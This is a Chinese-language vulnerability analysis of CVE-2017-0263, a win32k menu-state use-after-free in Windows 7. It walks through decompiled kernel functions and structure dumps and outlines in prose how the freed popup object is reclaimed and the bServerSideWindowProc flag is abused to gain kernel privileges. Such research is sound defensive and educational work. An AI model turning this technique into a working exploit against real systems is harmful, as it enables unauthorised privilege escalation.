原文來自安全客,作者:Leeqwind
原文鏈接:https://www.anquanke.com/post/id/102377
作者博客:https://xiaodaozhi.com/exploit/71.html

CVE-2017-0263 是 Windows 操作系統 win32k 內核模塊菜單管理組件中的一個 UAF(釋放后重用)漏洞,據報道稱該漏洞在之前與一個 EPS 漏洞被 APT28 組織組合攻擊用來干涉法國大選。這篇文章將對用于這次攻擊的樣本的 CVE-2017-0263 漏洞部分進行一次簡單的分析,以整理出該漏洞利用的運作原理和基本思路,并對 Windows 窗口管理器子系統的菜單管理組件進行簡單的探究。分析的環境是 Windows 7 x86 SP1 基礎環境的虛擬機。

在本分析中為了突出分析的重點,在對涉及的各個系統函數進行分析時,將與當前漏洞研究無關的調用語句進行忽略,只留意影響或可能影響漏洞觸發邏輯的調用和賦值語句并對其進行分析和解釋。

0x0 前言

這篇文章分析了發生在窗口管理器(User)子系統的菜單管理組件中的 CVE-2017-0263 UAF(釋放后重用)漏洞。在函數 win32k!xxxMNEndMenuState 中釋放全局菜單狀態對象的成員域 pGlobalPopupMenu 指向的根彈出菜單對象時,沒有將該成員域置零,導致該成員域仍舊指向已被釋放的內存區域成為野指針,在后續的代碼邏輯中存在該成員域指向的內存被讀寫訪問或被重復釋放的可能性。

在釋放成員域 pGlobalPopupMenu 指向對象之后,函數 xxxMNEndMenuState 還將當前線程關聯的線程信息對象成員域 pMenuState 重置,這導致大部分追蹤和操作彈出菜單的接口將無法達成漏洞觸發的條件。但在重置成員域 pMenuState 之前,函數中存在對全局菜單狀態對象的成員域 uButtonDownHitArea 的解鎖和釋放,這個成員域存儲當前鼠標按下位置所屬的窗口對象(如果當前存在鼠標按下狀態)指針。

如果用戶進程先前通過利用技巧構造了特殊關聯和屬性的菜單窗口對象,那么從函數 xxxMNEndMenuState 釋放成員域 pGlobalPopupMenu 到重置成員域 pMenuState 之前的這段時間,執行流將回到用戶進程中,用戶進程中構造的利用代碼將有足夠的能力改變當前彈出菜單的狀態,致使執行流重新執行 xxxMNEndMenuState 函數,并對根彈出菜單對象的內存進行重復釋放,導致系統 BSOD 的發生。

在內核第一次釋放成員域 pGlobalPopupMenu 指向內存之后執行流回到用戶進程時,在用戶進程中通過巧妙的內存布局,使系統重新分配相同大小的內存區域以占用成員域 pGlobalPopupMenu 指向的先前釋放的內存塊,偽造新的彈出菜單對象并構造相關成員域。借助代碼邏輯,實現對特定窗口對象的成員標志位 bServerSideWindowProc 的修改,使系統能夠在內核中直接執行位于用戶進程地址空間中的自定義窗口消息處理函數,得以通過內核上下文執行用戶進程構造的利用代碼,實現內核提權的目的。

0x1 原理

CVE-2017-0263 漏洞存在于 win32k 的窗口管理器(User)子系統中的菜單管理組件中。在內核函數 xxxMNEndMenuState 釋放目標 tagMENUSTATE 結構體對象的成員域 pGlobalPopupMenu 指向對象的內存時,沒有將該成員域置為空值。

win32k 模塊中存在定義為 tagMENUSTATE 結構體類型的菜單狀態 gMenuState 全局對象。在當前的操作系統環境下,該結構體的定義如下:

kd> dt win32k!tagMENUSTATE
   +0x000 pGlobalPopupMenu : Ptr32 tagPOPUPMENU
   +0x004 flags            : Int4B
   +0x008 ptMouseLast      : tagPOINT
   +0x010 mnFocus          : Int4B
   +0x014 cmdLast          : Int4B
   +0x018 ptiMenuStateOwner : Ptr32 tagTHREADINFO
   +0x01c dwLockCount      : Uint4B
   +0x020 pmnsPrev         : Ptr32 tagMENUSTATE
   +0x024 ptButtonDown     : tagPOINT
   +0x02c uButtonDownHitArea : Uint4B
   +0x030 uButtonDownIndex : Uint4B
   +0x034 vkButtonDown     : Int4B
   +0x038 uDraggingHitArea : Uint4B
   +0x03c uDraggingIndex   : Uint4B
   +0x040 uDraggingFlags   : Uint4B
   +0x044 hdcWndAni        : Ptr32 HDC__
   +0x048 dwAniStartTime   : Uint4B
   +0x04c ixAni            : Int4B
   +0x050 iyAni            : Int4B
   +0x054 cxAni            : Int4B
   +0x058 cyAni            : Int4B
   +0x05c hbmAni           : Ptr32 HBITMAP__
   +0x060 hdcAni           : Ptr32 HDC__

結構體 tagMENUSTATE 的定義

菜單管理是 win32k 中最復雜的組件之一,菜單處理作為一個整體依賴于多種十分復雜的函數和結構體。例如,在創建彈出菜單時,應用程序調用 TrackPopupMenuEx 在菜單內容顯示的位置創建菜單類的窗口。接著該菜單窗口通過一個系統定義的菜單窗口類過程 xxxMenuWindowProc 處理消息輸入,用以處理各種菜單特有的信息。此外,為了追蹤菜單如何被使用,win32k 也將一個菜單狀態結構體 tagMENUSTATE 與當前活躍菜單關聯起來。通過這種方式,函數能夠知道菜單是否在拖拽操作中調用、是否在菜單循環中、是否即將銷毀,等等。

菜單狀態結構體用來存儲與當前活躍菜單的狀態相關的詳細信息,包括上下文菜單彈出的坐標、關聯的位圖表面對象的指針、窗口設備上下文對象、之前的上下文菜單結構體的指針,以及其他的一些成員域。

在線程信息結構體 tagTHREADINFO 中也存在一個指向菜單狀態結構體指針的 pMenuState 成員域:

kd> dt win32k!tagTHREADINFO -d pMenuState
   +0x104 pMenuState : Ptr32 tagMENUSTATE

結構體 tagTHREADINFO 存在 pMenuState 成員域

當用戶在操作系統中以點擊鼠標右鍵或其他的方式彈出上下文菜單時,系統最終在內核中執行到 xxxTrackPopupMenuEx 函數。該函數調用 xxxMNAllocMenuState 函數來分配或初始化菜單狀態結構體。

在函數 xxxMNAllocMenuState 中,系統將全局菜單狀態對象 gMenuState 的所有成員域清空并對部分成員域進行初始化,然后將全局菜單狀態對象的地址存儲在當前線程信息對象的成員域 pMenuState 中。

  menuState = (tagMENUSTATE *)&gMenuState;
  [...]
  memset(menuState, 0, 0x60u);
  menuState->pGlobalPopupMenu = popupMenuRoot;
  menuState->ptiMenuStateOwner = ptiCurrent;
  menuState->pmnsPrev = ptiCurrent->pMenuState;
  ptiCurrent->pMenuState = menuState;
  if ( ptiNotify != ptiCurrent )
    ptiNotify->pMenuState = menuState;
  [...]
  return menuState;

函數 xxxMNAllocMenuState 的代碼片段

函數初始化了菜單狀態結構體中的 pGlobalPopupMenu / ptiMenuStateOwnerpmnsPrev 成員。成員域 pGlobalPopupMenu 指針指向通過參數傳入作為根菜單的彈出菜單結構體 tagPOPUPMENU 對象。彈出菜單結構體存儲關聯的彈出菜單相關的各個內核對象的指針,與對應的菜單窗口對象關聯,其結構體定義如下:

kd> dt win32k!tagPOPUPMENU
   +0x000 flags            : Int4B
   +0x004 spwndNotify      : Ptr32 tagWND
   +0x008 spwndPopupMenu   : Ptr32 tagWND
   +0x00c spwndNextPopup   : Ptr32 tagWND
   +0x010 spwndPrevPopup   : Ptr32 tagWND
   +0x014 spmenu           : Ptr32 tagMENU
   +0x018 spmenuAlternate  : Ptr32 tagMENU
   +0x01c spwndActivePopup : Ptr32 tagWND
   +0x020 ppopupmenuRoot   : Ptr32 tagPOPUPMENU
   +0x024 ppmDelayedFree   : Ptr32 tagPOPUPMENU
   +0x028 posSelectedItem  : Uint4B
   +0x02c posDropped       : Uint4B

結構體 tagPOPUPMENU 的定義

菜單狀態結構體對象的成員域 ptiMenuStateOwner 指向當前線程的線程信息結構體對象。線程信息結構體對象中已存在的菜單狀態結構體指針被存儲在當前菜單狀態結構體對象的 pmnsPrev 成員域中。

隨后函數將菜單狀態結構體的地址放置在通過參數傳入的當前線程(和通知線程)的線程信息結構體 tagTHREADINFO 對象的成員域 pMenuState 中,并將菜單狀態結構體的地址作為返回值返回給上級調用者函數。

當前線程信息對象和菜單狀態對象的對應關系


當用戶通過鍵鼠選擇菜單項、或點擊菜單范圍之外的屏幕區域時,系統將向當前上下文菜單的窗口對象發送相關鼠標按下或菜單終止的事件消息。在菜單對象的類型為模態的情況下,這導致之前調用 xxxMNLoop 函數的線程退出菜單循環等待狀態,使函數繼續向后執行。

系統調用 xxxMNEndMenuState 函數來清理菜單狀態結構體存儲的信息與釋放相關的彈出菜單對象和窗口對象。

  ptiCurrent = gptiCurrent;
  menuState = gptiCurrent->pMenuState;
  if ( !menuState->dwLockCount )
  {
    MNEndMenuStateNotify(gptiCurrent->pMenuState);
    if ( menuState->pGlobalPopupMenu )
    {
      if ( fFreePopup )
        MNFreePopup(menuState->pGlobalPopupMenu);
      else
        *(_DWORD *)menuState->pGlobalPopupMenu &= 0xFFFEFFFF;
    }
    UnlockMFMWFPWindow(&menuState->uButtonDownHitArea);
    UnlockMFMWFPWindow(&menuState->uDraggingHitArea);
    ptiCurrent->pMenuState = menuState->pmnsPrev;
    [...]
  }

函數 xxxMNEndMenuState 的代碼片段

在函數 xxxMNEndMenuState 中,系統從當前線程的線程信息對象中獲取 pMenuState 成員域指向的菜單狀態結構體對象。隨后函數判斷菜單信息結構體對象的成員域 pGlobalPopupMenu 是否為空,不為空則調用函數 MNFreePopup 釋放該成員域指向的彈出菜單 tagPOPUPMENU 對象。在執行相應的預處理之后,函數 MNFreePopup 調用 ExFreePoolWithTag 釋放傳入的 tagPOPUPMENU 對象緩沖區。

  if ( popupMenu == popupMenu->ppopupmenuRoot )
    MNFlushDestroyedPopups(popupMenu, 1);
  pwnd = popupMenu->spwndPopupMenu;
  if ( pwnd && (pwnd->fnid & 0x3FFF) == 0x29C && popupMenu != &gpopupMenu )
    *((_DWORD *)pwnd + 0x2C) = 0;
  HMAssignmentUnlock(&popupMenu->spwndPopupMenu);
  HMAssignmentUnlock(&popupMenu->spwndNextPopup);
  HMAssignmentUnlock(&popupMenu->spwndPrevPopup);
  UnlockPopupMenu(popupMenu, &popupMenu->spmenu);
  UnlockPopupMenu(popupMenu, &popupMenu->spmenuAlternate);
  HMAssignmentUnlock(&popupMenu->spwndNotify);
  HMAssignmentUnlock(&popupMenu->spwndActivePopup);
  if ( popupMenu == &gpopupMenu )
    gdwPUDFlags &= 0xFF7FFFFF;
  else
    ExFreePoolWithTag(popupMenu, 0);

函數 MNFreePopup 的代碼片段

這時問題就出現了:函數 xxxMNEndMenuState 在將菜單狀態結構體對象的成員域 pGlobalPopupMenu 指向的彈出菜單對象釋放之后,卻沒有將該成員域置為空值,這將導致該成員域指向的內存地址處于不可控的狀態,并導致被復用的潛在問題。

0x2 追蹤

user32.dll 模塊中存在導出函數 TrackPopupMenuEx 用于在屏幕指定位置顯示彈出菜單并追蹤選擇的菜單項。當用戶進程調用該函數時,系統在內核中最終調用到 xxxTrackPopupMenuEx 函數處理彈出菜單操作。


菜單的對象

在本分析中將涉及到與菜單相關的對象:菜單對象,菜單層疊窗口對象和彈出菜單對象。

其中,菜單對象是菜單的實體,在內核中以結構體 tagMENU 實例的形式存在,用來描述菜單實體的菜單項、項數、大小等靜態信息,但其本身并不負責菜單在屏幕中的顯示,當用戶進程調用 CreateMenu 等接口函數時系統在內核中創建菜單對象,當調用函數 DestroyMenu 或進程結束時菜單對象被銷毀。

當需要在屏幕中的位置顯示某菜單時,例如,用戶在某窗口區域點擊鼠標右鍵,在內核中系統將調用相關服務函數根據目標菜單對象創建對應的類型為 MENUCLASS 的菜單層疊窗口對象。菜單層疊窗口對象是窗口結構體 tagWND 對象的特殊類型,通常以結構體 tagMENUWND 的形式表示,負責描述菜單在屏幕中的顯示位置、樣式等動態信息,其擴展區域關聯對應的彈出菜單對象。

彈出菜單對象 tagPOPUPMENU 作為菜單窗口對象的擴展對象,用來描述所代表的菜單的彈出狀態,以及與菜單窗口對象、菜單對象、子菜單或父級菜單的菜單窗口對象等用戶對象相互關聯。

當某個菜單在屏幕中彈出時,菜單窗口對象和關聯的彈出菜單對象被創建,當菜單被選擇或取消時,該菜單將不再需要在屏幕中顯示,此時系統將在適當時機銷毀菜單窗口對象和彈出菜單對象。


彈出菜單

內核函數 xxxTrackPopupMenuEx 負責菜單的彈出和追蹤。在該函數執行期間,系統調用 xxxCreateWindowEx 函數為即將被顯示的菜單對象創建關聯的類名稱為 #32768(MENUCLASS) 的菜單層疊窗口對象。類型為 MENUCLASS 的窗口對象通常用 tagMENUWND 結構體表示,這類窗口對象在緊隨基礎的 tagWND 對象其后的位置存在 1 個指針長度的擴展區域,用來存儲指向關聯的 tagPOPUPMENU 對象指針。

pwndHierarchy = xxxCreateWindowEx(
    0x181,
    0x8000, // MENUCLASS
    0x8000, // MENUCLASS
    0,
    0x80800000,
    xLeft,
    yTop,
    100,
    100,
    (pMenu->fFlags & 0x40000000) != 0 ? pwndOwner : 0, // MNS_MODELESS
    0,
    pwndOwner->hModule,
    0,
    0x601u,
    0);

函數 xxxTrackPopupMenuEx 創建 MENUCLASS 窗口對象

在函數 xxxCreateWindowEx 中分配窗口對象后,函數向該對象發送 WM_NCCREATE 等事件消息,并調用窗口對象指定的消息處理程序。類型為 MENUCLASS 的窗口對象指定的的消息處理程序是 xxxMenuWindowProc 內核函數。處理 WM_NCCREATE 消息時,函數創建并初始化與窗口對象關聯的彈出菜單信息結構體 tagPOPUPMENU 對象,將菜單窗口 tagMENUWND 對象指針放入 tagPOPUPMENU->spwndPopupMenu 成員域中,并將彈出菜單 tagPOPUPMENU 對象指針放入關聯窗口 tagMENUWND 對象末尾的指針長度的擴展區域中。

結構體 tagMENUWND 和 tagPOPUPMENU 對象的對應關系

在通過函數 xxxSendMessageTimeout 向窗口對象發送 WM_NCCREATE 等事件消息時,系統在調用對象指定的消息處理程序之前,還會調用 xxxCallHook 函數用來調用先前由用戶進程設定的 WH_CALLWNDPROC 類型的掛鉤處理程序。設置這種類型的掛鉤會在每次線程將消息發送給窗口對象之前調用。

if ( (LOBYTE(gptiCurrent->fsHooks) | LOBYTE(gptiCurrent->pDeskInfo->fsHooks)) & 0x20 )
{
  v22 = pwnd->head.h;
  v20 = wParam;
  v19 = lParam;
  v21 = message;
  v23 = 0;
  xxxCallHook(0, 0, &v19, 4); // WH_CALLWNDPROC
}

函數 xxxSendMessageTimeout 調用 xxxCallHook 函數

接下來函數 xxxTrackPopupMenuEx 調用 xxxMNAllocMenuState 來初始化菜單狀態結構體的各個成員域,并將前面創建的彈出菜單 tagPOPUPMENU 對象作為當前的根彈出菜單對象,其指針被放置在菜單狀態結構體的成員域 pGlobalPopupMenu 中。

menuState = xxxMNAllocMenuState(ptiCurrent, ptiNotify, popupMenu);

函數 xxxTrackPopupMenuEx 初始化菜單狀態結構體

接下來函數調用 xxxSetWindowPos 函數以設置目標菜單層疊窗口在屏幕中的位置并將其顯示在屏幕中。在函數 xxxSetWindowPos 執行期間,相關窗口位置和狀態已完成改變之后,系統在函數 xxxEndDeferWindowPosEx 中調用 xxxSendChangedMsgs 以發送窗口位置已改變的消息。

  xxxSetWindowPos(
    pwndHierarchy,
    (((*((_WORD *)menuState + 2) >> 8) & 1) != 0) - 1,
    xLParam,
    yLParam,
    0,
    0,
    ~(0x10 * (*((_WORD *)menuState + 2) >> 8)) & 0x10 | 0x241);

函數 xxxTrackPopupMenuEx 顯示根菜單窗口對象

在函數 xxxSendChangedMsgs 中,系統根據設置的 SWP_SHOWWINDOW 狀態標志,為當前的目標菜單層疊窗口對象創建并添加關聯的陰影窗口對象。兩個窗口對象的關聯關系在函數 xxxAddShadow 中被添加到 gpshadowFirst 陰影窗口關聯表中。

從函數 xxxSetWindowPos 中返回后,函數 xxxTrackPopupMenuEx 調用 xxxWindowEvent 函數以發送代表“菜單彈出開始”的 EVENT_SYSTEM_MENUPOPUPSTART 事件通知。

xxxWindowEvent(6u, pwndHierarchy, 0xFFFFFFFC, 0, 0);

函數 xxxTrackPopupMenuEx 發送菜單彈出開始的事件通知

如果先前在用戶進程中設置了包含這種類型事件通知范圍的窗口事件通知處理函數,那么系統將在線程消息循環處理期間分發調用這些通知處理函數。

接下來菜單對象類型為模態的情況下線程將會進入菜單消息循環等待狀態,而非模態的情況將會返回。

一圖以蔽之:

函數 xxxTrackPopupMenuEx 的簡略執行流


bServerSideWindowProc

窗口結構體 tagWND 對象的成員標志位 bServerSideWindowProc 是一個特殊標志位,該標志位決定所屬窗口對象的消息處理函數屬于服務端還是客戶端。當函數 xxxSendMessageTimeout 即將調用目標窗口對象的消息處理函數以分發消息時,會判斷該標志位是否置位。

  if ( *((_BYTE *)&pwnd->1 + 2) & 4 ) // bServerSideWindowProc
  {
    IoGetStackLimits(&uTimeout, &fuFlags);
    if ( &fuFlags - uTimeout < 0x1000 )
      return 0;
    lRet = pwnd->lpfnWndProc(pwnd, message, wParam, lParam);
    if ( !lpdwResult )
      return lRet;
    *(_DWORD *)lpdwResult = lRet;
  }
  else
  {
    xxxSendMessageToClient(pwnd, message, wParam, lParam, 0, 0, &fuFlags);
    [...]
  }

函數 xxxSendMessageTimeout 執行窗口對象消息處理函數的邏輯

如果該標志位置位,則函數將直接使當前線程在內核上下文調用目標窗口對象的消息處理函數;否則,函數通過調用函數 xxxSendMessageToClient 將消息發送到客戶端進行處理,目標窗口對象的消息處理函數將始終在用戶上下文調用和執行。

諸如菜單層疊窗口對象之類的特殊窗口對象擁有專門的內核模式消息處理函數,因此這些窗口對象的成員標志位 bServerSideWindowProc 在對象創建時就被置位。而普通窗口對象由于只指向默認消息處理函數或用戶進程自定義的消息處理函數,因此該標志位往往不被置位。

如果能夠通過某種方式將未置位標志位 bServerSideWindowProc 的窗口對象的該標志位置位,那么該窗口對象指向的消息處理函數也將直接在內核上下文中執行。


陰影窗口

在 Windows XP 及更高系統的 win32k 內核模塊中,系統為所有帶有 CS_DROPSHADOW 標志的窗口對象創建并關聯對應的類名稱為 SysShadow 的陰影窗口對象,用來渲染原窗口的陰影效果。內核中存在全局表 win32k!gpshadowFirst 用以記錄所有陰影窗口對象與原窗口對象的關聯關系。函數 xxxAddShadow 用來為指定的窗口創建陰影窗口對象,并將對應關系寫入 gpshadowFirst 全局表中。

全局表 gpshadowFirst 以鏈表的形式保存陰影窗口的對應關系。鏈表的每個節點存儲 3 個指針長度的成員域,分別存儲原窗口和陰影窗口的對象指針,以及下一個鏈表節點的指針。每個新添加的關系節點將始終位于鏈表的首個節點位置,其地址被保存在 gpshadowFirst 全局變量中。

全局變量 gpshadowFirst 指向陰影窗口關聯鏈表

相應地,當陰影窗口不再需要時,系統調用 xxxRemoveShadow 來將指定窗口的陰影窗口關聯關系移除并銷毀該陰影窗口對象,函數根據通過參數傳入的原窗口對象的指針在鏈表中查找第一個匹配的鏈表節點,從鏈表中取出節點并釋放節點內存緩沖區、銷毀陰影窗口對象。


子菜單

如果當前在屏幕中顯示的菜單中存在子菜單項,那么當用戶通過鼠標按鍵點擊等方式選擇子菜單項時,系統向子菜單項所屬的菜單窗口對象發送 WM_LBUTTONDOWN 鼠標左鍵按下的消息。如果菜單為非模態(MODELESS)類型,內核函數 xxxMenuWindowProc 接收該消息并傳遞給 xxxCallHandleMenuMessages 函數。

函數 xxxCallHandleMenuMessages 負責像模態彈出菜單的消息循環那樣處理非模態彈出菜單對象的消息。在函數中,系統根據通過參數 lParam 傳入的相對坐標和當前窗口在屏幕上的坐標來計算鼠標點擊的實際坐標,并向下調用 xxxHandleMenuMessages 函數。

函數將計算的實際坐標點傳入 xxxMNFindWindowFromPoint 函數查找坐標點坐落的在屏幕中顯示的窗口,并將查找到的窗口對象指針寫入菜單狀態結構體的成員域 uButtonDownHitArea 中。當該值確實是窗口對象時,函數向該窗口對象發送 MN_BUTTONDOWN 鼠標按下的消息。

接著執行流又進入函數 xxxMenuWindowProc 并調用函數 xxxMNButtonDown 以處理 MN_BUTTONDOWN 消息。

case 0x1EDu:
  if ( wParam < pmenu->cItems || wParam >= 0xFFFFFFFC )
    xxxMNButtonDown(popupMenu, menuState, wParam, 1);
  return 0;

函數 xxxMenuWindowProc 調用 xxxMNButtonDown 函數

函數 xxxMNButtonDown 調用 xxxMNSelectItem 函數以根據鼠標按下區域選擇菜單項并存儲在當前彈出菜單對象的成員域 posSelectedItem 中,隨后調用函數 xxxMNOpenHierarchy 以打開新彈出的層疊菜單。

在函數 xxxMNOpenHierarchy 執行期間,系統調用函數 xxxCreateWindowEx 創建新的類名稱為 MENUCLASS 的子菜單層疊窗口對象,并將新創建的子菜單窗口對象關聯的彈出菜單結構體 tagPOPUPMENU 對象插入彈出菜單對象延遲釋放鏈表中。

函數將新分配的子菜單窗口對象指針寫入當前菜單窗口對象關聯的彈出菜單信息結構體 tagPOPUPMENU 對象的成員域 spwndNextPopup 中,并將當前菜單窗口對象指針寫入新分配的菜單窗口對象關聯的 tagPOPUPMENU 對象的成員域 spwndPrevPopup 中,使新創建的彈出菜單對象成為當前菜單對象的子菜單。

新創建的子菜單窗口和原菜單窗口 tagMENUWND 對象的對應關系

函數將當前菜單窗口對象的彈出菜單信息結構體 tagPOPUPMENU 對象的標志成員域 fHierarchyDropped 標志置位,這個標志位表示當前菜單對象已彈出子菜單。

接下來函數調用 xxxSetWindowPos 以設置新的菜單層疊窗口在屏幕中的位置并將其顯示在屏幕中,并調用函數 xxxWindowEvent 發送 EVENT_SYSTEM_MENUPOPUPSTART 事件通知。新菜單窗口對象對應的陰影窗口會在這次調用 xxxSetWindowPos 期間創建并與菜單窗口對象關聯。

簡要執行流如下:

點擊子菜單項以彈出子菜單時的簡要執行流


終止菜單

在用戶進程中可以通過多種接口途徑觸達 xxxMNEndMenuState 函數調用,例如向目標菜單的窗口對象發送 MN_ENDMENU 消息,或調用 NtUserMNDragLeave 系統服務等。

當某調用者向目標菜單窗口對象發送 MN_ENDMENU 消息時,系統在菜單窗口消息處理函數 xxxMenuWindowProc 中調用函數 xxxEndMenuLoop 并傳入當前線程關聯的菜單狀態結構體對象和其成員域 pGlobalPopupMenu 指向的根彈出菜單對象指針作為參數以確保完整的菜單對象被終止或取消。如果菜單對象是非模態類型的,那么函數接下來在當前上下文調用函數 xxxMNEndMenuState 清理菜單狀態信息并釋放相關對象。

  menuState = pwnd->head.pti->pMenuState;
  [...]
LABEL_227: // EndMenu
  xxxEndMenuLoop(menuState, menuState->pGlobalPopupMenu);
  if ( menuState->flags & 0x100 )
    xxxMNEndMenuState(1);
  return 0;

函數 xxxMenuWindowProc 處理 MN_ENDMENU 消息

函數 xxxEndMenuLoop 執行期間,系統調用 xxxMNDismiss 并最終調用到 xxxMNCancel 函數來執行菜單取消的操作。

int __stdcall xxxMNDismiss(tagMENUSTATE *menuState)
{
  return xxxMNCancel(menuState, 0, 0, 0);
}

函數 xxxMNDismiss 調用 xxxMNCancel 函數

函數 xxxMNCancel 調用 xxxMNCloseHierarchy 函數來關閉當前菜單對象的菜單層疊狀態。

popupMenu = pMenuState->pGlobalPopupMenu;
[...]
xxxMNCloseHierarchy(popupMenu, pMenuState);

函數 xxxMNCancel 調用 xxxMNCloseHierarchy 函數

函數 xxxMNCloseHierarchy 判斷當前通過參數傳入的彈出菜單 tagPOPUPMENU 對象成員域 fHierarchyDropped 標志位是否置位,如果未被置位則表示當前彈出菜單對象不存在任何彈出的子菜單,那么系統將使當前函數直接返回。

接下來函數 xxxMNCloseHierarchy 獲取當前彈出菜單對象的成員域 spwndNextPopup 存儲的指針,該指針指向當前彈出菜單對象所彈出的子菜單的窗口對象。函數通過 xxxSendMessage 函數調用向該菜單窗口對象發送 MN_CLOSEHIERARCHY 消息,最終在消息處理函數 xxxMenuWindowProc 中接收該消息并對目標窗口對象關聯的彈出菜單對象調用 xxxMNCloseHierarchy 以處理關閉子菜單的菜單對象菜單層疊狀態的任務。

  popupMenu = *(tagPOPUPMENU **)((_BYTE *)pwnd + 0xb0);
  menuState = pwnd->head.pti->pMenuState;
  [...]
case 0x1E4u:
  xxxMNCloseHierarchy(popupMenu, menuState);
  return 0;

函數 xxxMenuWindowProc 處理 MN_CLOSEHIERARCHY 消息

函數 xxxSendMessage 返回之后,接著函數 xxxMNCloseHierarchy 調用 xxxDestroyWindow 函數以嘗試銷毀彈出的子菜單的窗口對象。需要注意的是,這里嘗試銷毀的是彈出的子菜單的窗口對象,而不是當前菜單的窗口對象。

在函數 xxxDestroyWindow 執行期間,系統調用函數 xxxSetWindowPos 以隱藏目標菜單窗口對象在屏幕中的顯示。

dwFlags = 0x97;
if ( fAlreadyDestroyed )
  dwFlags = 0x2097;
xxxSetWindowPos(pwnd, 0, 0, 0, 0, 0, dwFlags);

函數 xxxDestroyWindow 隱藏目標窗口對象的顯示

在函數 xxxSetWindowPos 執行后期,與當初創建菜單窗口對象時相對應地,系統調用函數 xxxSendChangedMsgs 發送窗口位置已改變的消息。在該函數中,系統根據設置的 SWP_HIDEWINDOW 狀態標志,通過調用函數 xxxRemoveShadowgpshadowFirst 陰影窗口關聯表中查找第一個與目標菜單窗口對象關聯的陰影窗口關系節點,從鏈表中移除查找到的關系節點并銷毀該陰影窗口對象。

接下來執行流從函數 xxxDestroyWindow 中進入函數 xxxFreeWindow 以執行對目標窗口對象的后續銷毀操作。

函數根據目標窗口對象的成員域 fnid 的值調用對應的消息處理包裝函數 xxxWrapMenuWindowProc 并傳入 WM_FINALDESTROY 消息參數,最終在函數 xxxMenuWindowProc 中接收該消息并通過調用函數 xxxMNDestroyHandler 對目標彈出菜單對象執行清理相關數據的任務。在該函數中,目標彈出菜單對象的成員標志位 fDestroyed 和根彈出菜單對象的成員標志位 fFlushDelayedFree 被置位:

*(_DWORD *)popupMenu |= 0x8000u;
[...]
if ( *((_BYTE *)popupMenu + 2) & 1 )
{
  popupMenuRoot = popupMenu->ppopupmenuRoot;
  if ( popupMenuRoot )
    *(_DWORD *)popupMenuRoot |= 0x20000u;
}

函數 xxxMNDestroyHandler 置位相關成員標志位

接著函數 xxxFreeWindow 對目標窗口對象再次調用函數 xxxRemoveShadow 以移除其陰影窗口對象的關聯。如果先前已將目標窗口對象的所有陰影窗口關聯移除,則函數 xxxRemoveShadow 將在關系表中無法查找到對應的關聯節點而直接返回。

if ( pwnd->pcls->atomClassName == gatomShadow )
  CleanupShadow(pwnd);
else
  xxxRemoveShadow(pwnd);

函數 xxxFreeWindow 再次移除陰影窗口對象

函數在執行一些對象的釋放操作和解除鎖定操作之后向上級調用者函數返回。此時由于鎖計數尚未歸零,因此目標窗口對象仍舊存在于內核中并等待后續的操作。

函數 xxxDestroyWindow 返回后,執行流回到函數 xxxMNCloseHierarchy 中。接著函數對當前彈出菜單對象的成員域 spwndNextPopup 指向的子菜單窗口對象解鎖并將成員域置空,然后將當前彈出菜單對象關聯的菜單窗口對象帶賦值鎖地賦值給根彈出菜單對象的成員域 spwndActivePopup 中使當前窗口對象成為的活躍彈出菜單窗口對象,這導致原本鎖定在成員域 spwndActivePopup 中的子菜單窗口對象解鎖并使其鎖計數繼續減小。

HMAssignmentLock(
  (_HEAD **)&popupMenu->ppopupmenuRoot->spwndActivePopup,
  (_HEAD *)popupMenu->spwndPopupMenu);

函數 xxxMNCloseHierarchy 使當前窗口對象成為的活躍彈出菜單窗口對象

執行流從函數 xxxMNCloseHierarchy 返回到函數 xxxMNCancel 中,系統根據當前彈出菜單對象的成員標志位 fIsTrackPopup 選擇調用 xxxDestroyWindow 以嘗試銷毀當前的菜單窗口對象。彈出菜單結構體的該成員標志位只在最開始通過函數 xxxTrackPopupMenuEx 創建根菜單窗口對象時對關聯的彈出菜單對象置位。

接下來執行流返回到函數 xxxMenuWindowProc 中,函數對非模態類型的菜單對象調用 xxxMNEndMenuState 以清理菜單狀態信息并釋放相關對象。

菜單選擇或取消時的簡要執行流


彈出菜單對象延遲釋放鏈表

在彈出菜單結構體 tagPOPUPMENU 中存在成員域 ppmDelayedFree,該成員域用來將所有被標記為延遲釋放狀態的彈出菜單對象連接起來,以便在菜單的彈出狀態終止時將所有彈出菜單對象統一銷毀。

線程關聯的菜單狀態 tagMENUSTATE 對象的成員域 pGlobalPopupMenu 指向的是根彈出菜單對象,根彈出菜單對象的成員域 ppmDelayedFree 作為彈出菜單對象延遲釋放鏈表的入口,指向鏈表的第一個節點。后續的每個被指向的彈出菜單對象的成員域 ppmDelayedFree 將指向下一個鏈表節點對象。

在函數 xxxMNOpenHierarchy 中,函數將新創建的子菜單窗口對象關聯的彈出菜單結構體 tagPOPUPMENU 對象插入彈出菜單對象延遲釋放鏈表。新的彈出菜單對象被放置在鏈表的起始節點位置,其地址被存儲在根彈出菜單對象的成員域 ppmDelayedFree 中,而原本存儲于根彈出菜單成員域 ppmDelayedFree 中的地址被存儲在新的彈出菜單對象的成員域 ppmDelayedFree 中。

新的彈出菜單對象被插入彈出菜單對象延遲釋放鏈表


xxxMNEndMenuState

在函數 xxxMNEndMenuState 執行時,系統調用函數 MNFreePopup 來釋放由當前菜單狀態 tagMENUSTATE 對象的成員域 pGlobalPopupMenu 指向的根彈出菜單對象。

函數 MNFreePopup 在一開始判斷通過參數傳入的目標彈出菜單對象是否為當前的根彈出菜單對象,如果是則調用函數 MNFlushDestroyedPopups 以遍歷并釋放其成員域 ppmDelayedFree 指向的彈出菜單對象延遲釋放鏈表中的各個彈出菜單對象。

函數 MNFlushDestroyedPopups 遍歷鏈表中的每個彈出菜單對象,并為每個標記了標志位 fDestroyed 的對象調用 MNFreePopup 函數。標志位 fDestroyed 當初在調用函數 xxxMNDestroyHandler 時被置位。

ppmDestroyed = popupMenu;
for ( i = &popupMenu->ppmDelayedFree; *i; i = &ppmDestroyed->ppmDelayedFree )
{
  ppmFree = *i;
  if ( *(_DWORD *)*i & 0x8000 )
  {
    ppmFree = *i;
    *i = ppmFree->ppmDelayedFree;
    MNFreePopup(ppmFree);
  }
  [...]
}

函數 MNFlushDestroyedPopups 遍歷延遲釋放鏈表

在函數 MNFlushDestroyedPopups 返回之后,函數 MNFreePopup 調用 HMAssignmentUnlock 函數解除 spwndPopupMenu 等各個窗口對象成員域的賦值鎖。

在 Windows 內核中,所有的窗口對象起始位置存在成員結構體 HEAD 對象,該結構體存儲句柄值(h)的副本,以及鎖計數(cLockObj),每當對象被使用時其值增加;當對象不再被特定的組件使用時,它的鎖計數減小。在鎖計數達到零的時候,窗口管理器知道該對象不再被系統使用然后將其釋放。

